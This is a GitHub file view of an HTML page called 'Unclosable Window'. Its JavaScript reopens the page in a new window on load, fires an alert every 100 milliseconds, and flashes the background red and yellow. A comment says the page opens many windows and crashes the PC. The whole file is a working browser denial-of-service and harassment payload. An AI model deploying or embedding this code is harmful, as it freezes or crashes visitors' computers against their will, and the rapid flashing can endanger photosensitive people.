-
Notifications
You must be signed in to change notification settings - Fork 145
Expand file tree
/
Copy pathunclosable.html
More file actions
33 lines (28 loc) · 769 Bytes
/
unclosable.html
File metadata and controls
33 lines (28 loc) · 769 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!-- Source: http://jsenabled.blogspot.com/2011/09/9-funniest-javascript-effects.html -->
<!-- Opens lots of windows in the browser and crushes the PC. -->
<html>
<head>
<title>Unclosable Window</title>
<script>
activ = window.setInterval("Farbe()", 100);
farbe=1;
function Farbe() {
if(farbe==1) {
document.bgColor="FFFF00";
farbe=2;
}else {
document.bgColor="FF0000";
farbe=1;
}
alert("ok");
}
function erneut(){
window.open(self.location,'');
}
window.onload = erneut;
</script>
</head>
<body>
<h1>Unclosable Window</h1>
</body>
</html>